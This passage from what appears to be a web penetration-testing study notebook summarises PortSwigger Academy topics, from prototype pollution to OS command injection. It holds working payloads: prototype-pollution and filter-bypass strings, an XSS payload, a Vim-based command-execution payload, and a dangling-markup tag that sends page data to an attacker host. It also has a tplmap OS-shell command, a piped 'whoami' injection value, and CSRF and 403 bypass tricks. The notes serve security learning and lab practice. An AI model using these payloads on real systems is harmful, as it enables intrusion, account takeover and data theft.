   https://portswigger.net/web-security/prototype-pollution/client-side/lab-prototype-pollution-dom-xss-via-an-alternative-prototype-pollution-vector
5. **Client-side prototype pollution via flawed sanitization** \
   https://portswigger.net/web-security/prototype-pollution/client-side/lab-prototype-pollution-client-side-prototype-pollution-via-flawed-sanitization
6. **Client-side prototype pollution in third-party libraries** \
   https://portswigger.net/web-security/prototype-pollution/client-side/lab-prototype-pollution-client-side-prototype-pollution-in-third-party-libraries

**SERVER SIDE EXPLOITS**

1. **Privilege escalation via server-side prototype pollution** \
   Node.js / Express framework Proxy - HTTP hostpry - My Account- Billing and Delivery Address update - POST JSON - Repeater \
   https://portswigger.net/web-security/prototype-pollution/server-side/lab-privilege-escalation-via-server-side-prototype-pollution
2. **Detecting server-side prototype pollution without polluted property reflection** \
   Node.js / Express framework Proxy - HTTP hostpry - My Account- Billing and Delivery Address update - POST JSON - Repeater \
   https://portswigger.net/web-security/prototype-pollution/server-side/lab-detecting-server-side-prototype-pollution-without-polluted-property-reflection
3. **Bypassing flawed input filters for server-side prototype pollution** \
   Node.js / Express framework Proxy - HTTP hostpry - My Account- Billing and Delivery Address update - POST JSON - Repeater \
   https://portswigger.net/web-security/prototype-pollution/server-side/lab-bypassing-flawed-input-filters-for-server-side-prototype-pollution
4. **Remote code execution via server-side prototype pollution** \
   Node.js / Express framework Proxy - HTTP hostpry - My Account- Billing and Delivery Address update - POST JSON - Repeater \
   https://portswigger.net/web-security/prototype-pollution/server-side/lab-remote-code-execution-via-server-side-prototype-pollution
5. **Exfiltrating sensitive data via server-side prototype pollution** \
   Node.js / Express framework Proxy - HTTP hostpry - My Account- Billing and Delivery Address update - POST JSON - Repeater \
   https://portswigger.net/web-security/prototype-pollution/server-side/lab-exfiltrating-sensitive-data-via-server-side-prototype-pollution



&#x20;                     **Finding client-side prototype pollution sources manually**

1. Try to inject an arbitrary property via the query string, URL fragment, and any JSON input. For example:

```
vulnerable-website.com/?__proto__[foo]=bar
```

2. In your browser console, inspect Object.prototype to see if you have successfully polluted it with your arbitrary property:

```
Object.prototype.foo
// "bar" indicates that you have successfully polluted the prototype
// undefined indicates that the attack was not successful
```

3. If the property was not added to the prototype, try using different techniques, such as switching to dot notation rather than bracket notation, or vice versa:

```
vulnerable-website.com/?__proto__.foo=bar
```

4. Repeat this process for each potential source.&#x20;

If neither of these techniques is successful, you may still be able to pollute the prototype via its constructor.



&#x20;            &#x20;**&#x20;**<mark style="color:yellow;">**Finding client-side prototype pollution sources using DOM Invader**</mark>

[**https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution#detecting-sources-for-prototype-pollution**](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution#detecting-sources-for-prototype-pollution)

&#x20;                     **Finding client-side prototype pollution gadgets manually**

1. Look through the source code and identify any properties that are used by the application or any libraries that it imports.
2. In Burp, enable response interception (Proxy > Options > Intercept server responses) and intercept the response containing the JavaScript that you want to test.
3. Add a debugger statement at the start of the script, then forward any remaining requests and responses.
4. In Burp's browser, go to the page on which the target script is loaded. The debugger statement pauses execution of the script.
5. While the script is still paused, switch to the console and enter the following command, replacing YOUR-PROPERTY with one of the properties that you think is a potential gadget: The property is added to the global Object.prototype, and the browser will log a stack trace to the console whenever it is accessed.

```
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

6. Press the button to continue execution of the script and monitor the console. If a stack trace appears, this confirms that the property was accessed somewhere within the application.
7. Expand the stack trace and use the provided link to jump to the line of code where the property is being read.
8. Using the browser's debugger controls, step through each phase of execution to see if the property is passed to a sink, such as innerHTML or eval().
9. Repeat this process for any properties that you think are potential gadgets.

&#x20;      <mark style="color:yellow;">**Finding client-side prototype pollution gadgets using DOM Invader**</mark>

[https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution#scanning-for-prototype-pollution-gadgets](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution#scanning-for-prototype-pollution-gadgets)

&#x20;                                       **Prototype pollution via the constructor**

As this is the classic technique for prototype pollution, a common defense is to strip any properties with the key **proto** from user-controlled objects before merging them. This approach is flawed as there are alternative ways to reference Object.prototype without relying on the **proto** string at all.

As myObject.constructor.prototype is equivalent to myObject.**proto**, this provides an alternative vector for prototype pollution.

```
/?constructor.prototype.foo=bar
```

&#x20;                      **Bypassing flawed key sanitization**

An obvious way in which websites attempt to prevent prototype pollution is by sanitizing property keys before merging them into an existing object. However, a common mistake is failing to recursively sanitize the input string. For example, consider the following URL:

```
vulnerable-website.com/?__pro__proto__to__.gadget=payload
```

If the sanitization process just strips the string **proto** without repeating this process more than once, this would result in the following URL, which is a potentially valid prototype pollution source: vulnerable-website.com/?**proto**.gadget=payload

```
/?__pro__proto__to__[foo]=bar
/?__pro__proto__to__.foo=bar
/?constconstructorructor[protoprototypetype][foo]=bar
/?constconstructorructor.protoprototypetype.foo=bar
```

&#x20;                           **Prototype pollution in external libraries**

```
<script>
    location="https://0a730025034ebb2280a2f8db006e00c6.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>
```

&#x20;                           **Prototype pollution via browser APIs**

[https://portswigger.net/web-security/prototype-pollution/client-side/browser-apis](https://portswigger.net/web-security/prototype-pollution/client-side/browser-apis)

There are a number of widespread prototype pollution gadgets in the JavaScript APIs commonly provided in browsers.

&#x20;                                       **Prototype pollution via fetch()**

The Fetch API provides a simple way for developers to trigger HTTP requests using JavaScript. The fetch() method accepts two arguments:

* The URL to which you want to send the request.
* An options object that lets you to control parts of the request, such as the method, headers, body parameters, and so on.

```
fetch('https://normal-website.com/my-account/change-email', {
    method: 'POST',
    body: 'user=carlos&email=carlos%40ginandjuice.shop'
})
```

If an attacker can find a suitable source, they could potentially pollute Object.prototype with their own headers property. This may then be inherited by the options object passed into fetch() and subsequently used to generate the request. This can lead to a number of issues. For example, the following code is potentially vulnerable to DOM XSS via prototype pollution:

```
fetch('/my-products.json',{method:"GET"})
    .then((response) => response.json())
    .then((data) => {
        let username = data['x-username'];
        let message = document.querySelector('.message');
        if(username) {
            message.innerHTML = `My products. Logged in as <b>${username}</b>`;
        }
        let productList = document.querySelector('ul.products');
        for(let product of data) {
            let product = document.createElement('li');
            product.append(product.name);
            productList.append(product);
        }
    })
    .catch(console.error);
```

To exploit this, an attacker could pollute Object.prototype with a headers property containing a malicious x-username header as follows:

```
?__proto__[headers][x-username]=<img/src/onerror=alert(1)>
```

&#x20;                                  **Prototype pollution via Object.defineProperty()**

Developers with some knowledge of prototype pollution may attempt to block potential gadgets by using the Object.defineProperty() method. This enables you to set a non-configurable, non-writable property directly on the affected object

Just like the fetch() method we looked at earlier, Object.defineProperty() accepts an options object, known as a "descriptor". You can see this in the example above. Among other things, developers can use this descriptor object to set an initial value for the property that's being defined. However, if the only reason that they're defining this property is to protect against prototype pollution, they might not bother setting a value at all.

In this case, an attacker may be able to bypass this defense by polluting Object.prototype with a malicious value property. If this is inherited by the descriptor object passed to Object.defineProperty(), the attacker-controlled value may be assigned to the gadget property after all.

&#x20;                                    **Server-side prototype pollution**

{% embed url="https://portswigger.net/web-security/prototype-pollution/server-side#detecting-server-side-prototype-pollution-via-polluted-property-reflection" %}

{% embed url="https://portswigger.net/research/server-side-prototype-pollution" %}

&#x20;   **Detecting server-side prototype pollution without polluted property reflection**

{% embed url="https://portswigger.net/web-security/prototype-pollution/server-side/lab-detecting-server-side-prototype-pollution-without-polluted-property-reflection" %}

&#x20;                                                                 **Charset override**&#x20;

{% embed url="https://portswigger.net/web-security/prototype-pollution/server-side#detecting-server-side-prototype-pollution-via-polluted-property-reflection" %}

&#x20;                    **Bypassing input filters for server-side prototype pollution**

{% embed url="https://portswigger.net/web-security/prototype-pollution/server-side/lab-bypassing-flawed-input-filters-for-server-side-prototype-pollution" %}

&#x20;                  **Remote code execution via server-side prototype pollution**

{% embed url="https://portswigger.net/web-security/prototype-pollution/server-side/lab-remote-code-execution-via-server-side-prototype-pollution" %}

&#x20;                                      **Remote code execution via child\_process.execSync()**

Just like fork(), the execSync() method also accepts options object, which may be pollutable via the prototype chain. Although this doesn't accept an execArgv property, you can still inject system commands into a running child process by simultaneously polluting both the shell and input properties:

1. The input option is just a string that is passed to the child process's stdin stream and executed as a system command by execSync(). As there are other options for providing the command, such as simply passing it as an argument to the function, the input property itself may be left undefined.
2. The shell option lets developers declare a specific shell in which they want the command to run. By default, execSync() uses the system's default shell to run commands, so this may also be left undefined.

Although they aren't really intended to be shells, the text editors Vim and ex reliably fulfill all of these criteria. If either of these happen to be installed on the server, this creates a potential vector for RCE:

```
"shell":"vim",
"input":":! <command>\n"
```

Note: Vim has an interactive prompt and expects the user to hit Enter to run the provided command. As a result, you need to simulate this by including a newline (\n) character at the end of your payload, as shown in the example above. One additional limitation of this technique is that some tools that you might want to use for your exploit also don't read data from stdin by default. However, there are a few simple ways around this. In the case of curl, for example, you can read stdin and send the contents as the body of a POST request using the -d @- argument. In other cases, you can use xargs, which converts stdin to a list of arguments that can be passed to a command.

\----------------------------------------------------------------------------------------

### &#x20;                                        7. Manual: WebSockets <a href="#user-content-manual" id="user-content-manual"></a>



{% embed url="https://portswigger.net/web-security/websockets" %}

WebSockets are a bi-directional, full duplex communications protocol initiated over HTTP. They are commonly used in modern web applications for streaming data and other asynchronous traffic. WebSockets are particularly useful in situations where low-latency or server-initiated messages are required, such as real-time feeds of financial data.

**How are WebSocket connections established?**&#x20;

WebSocket connections are normally created using client-side JavaScript like the following: Note: The wss protocol establishes a WebSocket over an encrypted TLS connection, while the ws protocol uses an unencrypted connection.

```
var ws = new WebSocket("wss://normal-website.com/chat");
```

To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:

```
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```

If the server accepts the connection, it returns a WebSocket handshake response like the following:

```
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```

Note: Several features of the WebSocket handshake messages are worth noting:

1. The Connection and Upgrade headers in the request and response indicate that this is a WebSocket handshake.
2. The Sec-WebSocket-Version request header specifies the WebSocket protocol version that the client wishes to use. This is typically 13.
3. The Sec-WebSocket-Key request header contains a Base64-encoded random value, which should be randomly generated in each handshake request.
4. The Sec-WebSocket-Accept response header contains a hash of the value submitted in the Sec-WebSocket-Key request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.

What do WebSocket messages look like? Once a WebSocket connection has been established, messages can be sent asynchronously in either direction by the client or server. A simple message could be sent from the browser using client-side JavaScript like the following:

```
ws.send("Peter Wiener");
```

In principle, WebSocket messages can contain any content or data format. In modern applications, it is common for JSON to be used to send structured data within WebSocket messages. For example, a chat-bot application using WebSockets might send a message like the following:

```
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"}
```



&#x20;                                **Testing for WebSockets security vulnerabilities**

{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}

Lab: Manipulating WebSocket messages to exploit vulnerabilities\
[https://portswigger.net/web-security/websockets/lab-manipulating-messages-to-exploit-vulnerabilities](https://portswigger.net/web-security/websockets/lab-manipulating-messages-to-exploit-vulnerabilities)

Lab: Manipulating the WebSocket handshake to exploit vulnerabilities\
[https://portswigger.net/web-security/websockets/lab-manipulating-handshake-to-exploit-vulnerabilities](https://portswigger.net/web-security/websockets/lab-manipulating-handshake-to-exploit-vulnerabilities)

Cross-site WebSocket hijacking\
[https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking)

Performing a cross-site WebSocket hijacking attack\
[https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab)



\----------------------------------------------------------------------------------------

### &#x20;                                    7. Manual: Dangling markup <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/cross-site-scripting/dangling-markup" %}

Dangling markup injection is a technique for capturing data cross-domain in situations where a full cross-site scripting attack isn't possible. Suppose an application embeds attacker-controllable data into its responses in an unsafe way:

```
<input type="text" name="input" value="CONTROLLABLE DATA HERE
```

Suppose also that the application does not filter or escape the > or " characters. An attacker can use the following syntax to break out of the quoted attribute value and the enclosing tag, and return to an HTML context:

```
">
```

In this situation, an attacker would naturally attempt to perform XSS. But suppose that a regular XSS attack is not possible, due to input filters, content security policy, or other obstacles. Here, it might still be possible to deliver a dangling markup injection attack using a payload like the following:

```
"><img src='//attacker-website.com?
```

This payload creates an img tag and defines the start of a src attribute containing a URL on the attacker's server. Note that the attacker's payload doesn't close the src attribute, which is left "dangling". When a browser parses the response, it will look ahead until it encounters a single quotation mark to terminate the attribute. Everything up until that character will be treated as being part of the URL and will be sent to the attacker's server within the URL query string. Any non-alphanumeric characters, including newlines, will be URL-encoded.

The consequence of the attack is that the attacker can capture part of the application's response following the injection point, which might contain sensitive data. Depending on the application's functionality, this might include CSRF tokens, email messages, or financial data. Any attribute that makes an external request can be used for dangling markup.

**Reflected XSS protected by very strict CSP, with dangling markup attack**\
[https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack](https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack)



\----------------------------------------------------------------------------------------

### &#x20;                                                8. Manual: XXE  <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/xxe" %}

**Burp Suite:**&#x20;

* XXE - SSRF
* BLIND XXE

[https://book.hacktricks.xyz/pentesting-web/xpath-injection](https://book.hacktricks.xyz/pentesting-web/xpath-injection)\
\# XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

[https://devhints.io/xpath](https://devhints.io/xpath)\
\# Xpath cheatsheet.

[https://www.s4msecurity.com/2022/06/08/xml-xpath-injection-search-bwapp-level-low/](https://www.s4msecurity.com/2022/06/08/xml-xpath-injection-search-bwapp-level-low/)\
\# This article subject XML/XPath Injection vulnerability on web app.



\----------------------------------------------------------------------------------------

### &#x20;                                              9. Manual: GraphQL <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/graphql" %}

GraphQL is an API query language that is designed to facilitate efficient communication between clients and servers. It enables the user to specify exactly what data they want in the response, helping to avoid the large response objects and multiple calls that can sometimes be seen with REST APIs.

GraphQL schemas define the structure of the service's data, listing the available objects (known as types), fields, and relationships.

The data described by a GraphQL schema can be manipulated using three types of operation:

* Queries fetch data.
* Mutations add, change, or remove data.
* Subscriptions are similar to queries, but set up a permanent connection by which a server can proactively push data to a client in the specified format.

All GraphQL operations use the same endpoint, and are generally sent as a POST request. This is significantly different to REST APIs, which use operation-specific endpoints across a range of HTTP methods. With GraphQL, the type and name of the operation define how the query is handled, rather than the endpoint it is sent to or the HTTP method used.

**EXPLOITS:**&#x20;

* Injection attacks:&#x20;
* CSRF
* Information disclosure:&#x20;
* DDos attacks:&#x20;

**ENTRY POINT TESTING:**

* Endpoint Identification: Identify GraphQL endpoints through source code analysis or network traffic monitoring.
* Schema Analysis: Explore the GraphQL schema to understand available types and fields.
* Query Fuzzing: Inject unexpected inputs to test for injection vulnerabilities.
* Query Depth Testing: Test queries of varying depth to ensure query complexity limitations are effective.
* Role-based Access Testing: Evaluate whether users have appropriate access to certain fields or types.
* Overprivileged Queries: Attempt to access data beyond the user’s authorization level.

**Universal queries:**&#x20;

If you send `query{__typename}` to any GraphQL endpoint, it will include the string `{"data": {"__typename": "query"}}` somewhere in its response. This is known as a universal query, and is a useful tool in probing whether a URL corresponds to a GraphQL service.

The query works because every GraphQL endpoint has a reserved field called `__typename` that returns the queried object's type as a string.

GraphQL services will often respond to any non-GraphQL request with a "query not present" or similar error. You should bear this in mind when testing for GraphQL endpoints.

**Request methods:**&#x20;

It is best practice for production GraphQL endpoints to only accept POST requests that have a content-type of `application/json`, as this helps to protect against CSRF vulnerabilities. However, some endpoints may accept alternative methods, such as GET requests or POST requests that use a content-type of `x-www-form-urlencoded`.

If you can't find the GraphQL endpoint by sending POST requests to common endpoints, try resending the universal query using alternative HTTP methods.

At this point, you can start to look for vulnerabilities. Testing query arguments is a good place to start.

**Discovering schema information:**

The next step in testing the API is to piece together information about the underlying schema. Introspection is a built-in GraphQL function that enables you to query a server for information about the schema.

It is best practice for introspection to be disabled in production environments, but this advice is not always followed.

You can probe for introspection using the following simple query. If introspection is enabled, the response returns the names of all available queries.

```json
    {
        "query": "{__schema{queryType{name}}}"
    }
    
    query IntrospectionQuery {__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

    query IntrospectionQuery {__schema{queryType{name}mutationType{name}subscriptionType{name}types{...TypeInfo}directives{name description locations args{...InputValueInfo}}}}fragment TypeInfo on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValueInfo}type{...TypeRefInfo}isDeprecated deprecationReason}inputFields{...InputValueInfo}interfaces{...TypeRefInfo}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRefInfo}}fragment InputValueInfo on __InputValue{name description type{...TypeRefInfo}defaultValue}fragment TypeRefInfo on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
```

The next step is to run a full introspection query against the endpoint so that you can get as much information on the underlying schema as possible.

```json
    query IntrospectionQuery {
        __schema {
            queryType {
                name
            }
            mutationType {
                name
            }
            subscriptionType {
                name
            }
            types {
             ...FullType
            }
            directives {
                name
                description
                args {
                    ...InputValue
            }
            onOperation  #Often needs to be deleted to run query
            onFragment   #Often needs to be deleted to run query
            onField      #Often needs to be deleted to run query
            }
        }
    }

    fragment FullType on __Type {
        kind
        name
        description
        fields(includeDeprecated: true) {
            name
            description
            args {
                ...InputValue
            }
            type {
                ...TypeRef
            }
            isDeprecated
            deprecationReason
        }
        inputFields {
            ...InputValue
        }
        interfaces {
            ...TypeRef
        }
        enumValues(includeDeprecated: true) {
            name
            description
            isDeprecated
            deprecationReason
        }
        possibleTypes {
            ...TypeRef
        }
    }

    fragment InputValue on __InputValue {
        name
        description
        type {
            ...TypeRef
        }
        defaultValue
    }

    fragment TypeRef on __Type {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
                ofType {
                    kind
                    name
                }
            }
        }
    }
```

If introspection is enabled but the above query doesn't run, try removing the `onOperation`, `onFragment`, and `onField` directives from the query structure. Many endpoints do not accept these directives as part of an introspection query, and you can often have more success with introspection by removing them.

**Bypassing GraphQL introspection defences:**

If you cannot get introspection queries to run for the API you are testing, try inserting a special character after the `__schema` keyword.

When developers disable introspection, they could use a regex to exclude the `__schema` keyword in queries. You should try characters like spaces, new lines and commas, as they are ignored by GraphQL but not by flawed regex.

**Bypassing rate limiting using aliases:**&#x20;

Ordinarily, GraphQL objects can't contain multiple properties with the same name. Aliases enable you to bypass this restriction by explicitly naming the properties you want the API to return. You can use aliases to return multiple instances of the same type of object in one request.

Many endpoints will have some sort of rate limiter in place to prevent brute force attacks. Some rate limiters work based on the number of HTTP requests received rather than the number of operations performed on the endpoint. Because aliases effectively enable you to send multiple queries in a single HTTP message, they can bypass this restriction.

```json
    query isValidDiscount($code: Int) {
        isvalidDiscount(code:$code){
            valid
        }
        isValidDiscount2:isValidDiscount(code:$code){
            valid
        }
        isValidDiscount3:isValidDiscount(code:$code){
            valid
        }
    }
```

**GraphQL CSRF:**&#x20;

Cross-site request forgery (CSRF) vulnerabilities enable an attacker to induce users to perform actions that they do not intend to perform. This is done by creating a malicious website that forges a cross-domain request to the vulnerable application.

CSRF vulnerabilities can arise where a GraphQL endpoint does not validate the content type of the requests sent to it and no CSRF tokens are implemented.

The steps to construct a [CSRF attack](https://portswigger.net/web-security/csrf) and deliver an exploit are the same for GraphQL-based CSRF vulnerabilities as they are for "regular" CSRF vulnerabilities.

**Burp Suite: Extentions**&#x20;

[https://portswigger.net/web-security/graphql](https://portswigger.net/web-security/graphql)\
\# <mark style="color:yellow;">**GraphQL vulnerabilities**</mark> generally arise due to implementation and design flaws.

[https://github.com/forcesunseen/graphquail](https://github.com/forcesunseen/graphquail)\
\# GraphQuail is a **Burp Suite extension** that offers a toolkit for <mark style="color:blue;">**testing GraphQL endpoints**</mark>.

[inql](https://github.com/doyensec/inql) - InQL - A **Burp Extension** for GraphQL Security Testing

[graphql\_beautifier](https://github.com/zidekmat/graphql_beautifier) - **Burp Suite extension** to help make Graphql request more readable



\----------------------------------------------------------------------------------------

### &#x20;                                            10. Manual: SSTI  <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/server-side-template-injection" %}

[https://www.youtube.com/watch?v=SN6EVIG4c-0](https://www.youtube.com/watch?v=SN6EVIG4c-0)\
\# Template Injections (SSTI) in 10 minutes

[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)\
\# Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates enables Server-Side Template Injection, a frequently critical vulnerability that is extremely easy to mistake for Cross-Site Scripting (XSS), or miss entirely. Unlike XSS, Template Injection can be used to directly attack web servers' internals and often obtain Remote Code Execution (RCE), turning every vulnerable application into a potential pivot point.

[https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)\
\# Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operating system.

```
tplmap.py --os-shell -u 'http://www.example.com/page?name=John'
```

[https://github.com/vladko312/SSTImap](https://github.com/vladko312/SSTImap)\
\# SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself.

```
sstimap.py -u https://example.com/page?name=John
```



\----------------------------------------------------------------------------------------

### &#x20;                                             11. Manual: CORS <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/cors" %}

**BURP SUIT:**&#x20;

1. ARBITRARY ORIGINS: Change the origin to an arbitrary vaule / true\
   GET: Origin: https://malicious-website.com\
   POST: Access-Control-Allow-Origin: https://malicious-website.com
2. MULL ORIGINS: Change the origin header to the null value\
   GET: Origin: null\
   POST: Access-Control-Allow-Origin: null
3. SAME ORIGINS: Change the origin header to one that begins with the origin of the site\
   GET: Origin: https://website.com\
   POST: Access-Control-Allow-Origin: https://website.com
4. SUBDOMAIN ORIGINS: Change the origin to one that ends with the origin of the site.\
   GET: Origin: https://random.website.com\
   POST: Access-Control-Allow-Origin: https://random.website.com



\----------------------------------------------------------------------------------------

### &#x20;                                             12. Manual: CSRF <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/csrf" %}

**BURP SUIT:**&#x20;

1. Swap "POST" with "GET": Instead of using POST requests, switch to GET and move the body parameters into the URI. This simple maneuver often overrides CSRF token implementations, enabling a full-blown CSRF attack.
2. JSON Requests: Even JSON requests relying on cookies can be vulnerable to CSRF. Here's the trick: send your request with a content-type of text/html and format the body in JSON. In some cases, if the application doesn't rely on the content-type header, CSRF can still work its magic.
3. Don't Blindly Trust CSRF Tokens: Just because an application has a CSRF token doesn't mean it's foolproof. Sometimes, backend validation for these tokens can be flawed. This means that even with the same token, a CSRF attack may still work on other users' accounts.
4. Remove the CSRF Token Parameter: Believe it or not, some applications are designed to support legacy versions. If you try removing the CSRF token parameter from the request, it may still work. This is often because apps have dual implementations, and if the parameter is missing, they fall back to the legacy version to support older versions of the app, which can often be vulnerable.
5. Legacy Endpoints: Hidden in JS files are legacy endpoints that may no longer be actively in use, but they can still be functional and vulnerable to CSRF attacks. These abandoned endpoints are usually not maintained or updated to the latest security standards, making them prime targets for CSRF exploitation.

\----------------------------------------------------------------------------------------

### &#x20;                                          13. Manual: SSRF <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/ssrf" %}

**Burp Suite:**&#x20;

* SSRF via XXE
* Remote Code Execution (RCE) via Blind SSRF



[https://lab.wallarm.com/blind-ssrf-exploitation/](https://lab.wallarm.com/blind-ssrf-exploitation/)\
\# There is such a thing as SSRF. There’s lots of information about it, but here is my quick summary.

[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)\
\# A Glossary of Blind SSRF Chains.

[https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/](https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/)\
\# BRING YOUR OWN SSRF – THE GATEWAY ACTUATOR.

[https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)\
\# Attacking Java RMI via SSRF.

[https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next)\
\# Got SSRF in a AWS lambda?&#x20;

```
http://localhost:9001/2018-06-01/runtime/invocation/next 
```

\----------------------------------------------------------------------------------------

### &#x20;                                   14. Manual: HTTP smuggling <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/request-smuggling" %}

\----------------------------------------------------------------------------------------

### &#x20;                               15. Manual: HTTP Header Attack <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/host-header" %}

HTTP headers play a crucial role in web application security. They contain metadata about the request or response being sent, and can be manipulated by attackers to exploit vulnerabilities. Here are some common vulnerabilities related to HTTP headers:

* Server Banner Disclosure: The Server header can disclose information about the server and its version.&#x20;
* Cookie Flags: Not setting secure and httponly flags on cookies can lead to session hijacking and other cookie-related attacks.
* Cache Control: Incorrect or insufficient caching headers can lead to sensitive information being cached by intermediaries or clients.
* Content Security Policy (CSP) Bypass: If a web application doesn't have a properly configured Content Security Policy, it might be vulnerable to XSS attacks.
* Reflected XSS via Headers: Attackers can try injecting malicious scripts into headers like Referer or User-Agent to exploit reflected XSS vulnerabilities.
* Cross-Origin Resource Sharing (CORS) Misconfiguration: If CORS headers are not configured properly, it can lead to data leakage and potentially enable attackers to perform Cross-Site Request Forgery (CSRF) or Cross-Site Script Inclusion (XSSI) attacks.
* CRLF Injection: Attackers may attempt to inject CRLF characters into headers to manipulate responses, potentially leading to further attacks.
* Request Smuggling: Improper handling of request headers can lead to smuggling attacks, where an attacker can manipulate the way requests are processed by backend servers.

**Security Headers Missing:**

* Strict-Transport-Security (HSTS): Absence of HSTS header can make a site vulnerable to Man-in-the-Middle (MitM) attacks.
* X-Content-Type-Options: Without this header, browsers might interpret files in a way that could lead to security issues.
* X-Content-Security-Policy: Helps protect against various attacks including data injection and code execution.
* Referrer-Policy: Specifies how much referrer information should be included with requests.

{% embed url="https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/http-methods-verbs/http-methods-verbs.txt" %}

&#x20;                                                      **403 BYPASS MANUAL**

* Directory-Based Bypass: Access the directory with no slash at the end File-
* Based Bypass: Access the file without any slash at the end&#x20;
* Protocol-Based Bypass: Switch the protocol from HTTPS to HTTP&#x20;
* Header Manipulation: Add the X-Forwarded-For header with a specific IP address: X-Forwarded-For: 127.0.0.1



\----------------------------------------------------------------------------------------

### &#x20;                                   16. Manual: Authentication  <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://portswigger.net/web-security/authentication" %}



\----------------------------------------------------------------------------------------

### &#x20;                                           17. Manual: JWT <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://portswigger.net/web-security/jwt" %}



\----------------------------------------------------------------------------------------

### &#x20;                                       18. Manual: OAuth auth <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://portswigger.net/web-security/oauth" %}



\----------------------------------------------------------------------------------------

### &#x20;                                       19. Manual: File Upload <a href="#user-content-manual" id="user-content-manual"></a>







\----------------------------------------------------------------------------------------

### &#x20;                                               20. Manual: LFI  <a href="#user-content-manual" id="user-content-manual"></a>



**BURP SUIT:**&#x20;

1. PROXY through website, filter imagess and locate file parameter
2. Send request to INTRUDER, add payload position to the end of the URL



[https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)\
\# This post presents a new method to exploit local file inclusion (LFI) vulnerabilities in utmost generality, assuming only that PHP is running in combination with Nginx under a common standard configuration.



\----------------------------------------------------------------------------------------

### &#x20;                                      20. Manual : OS injection <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/os-command-injection" %}

OS command injection is also known as shell injection. It allows an attacker to execute operating system (OS) commands on the server that is running an application, and typically fully compromise the application and its data. Often, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, and exploit trust relationships to pivot the attack to other systems within the organization.

**ENTRY**

* URL: Modify parameter - 1|whoami
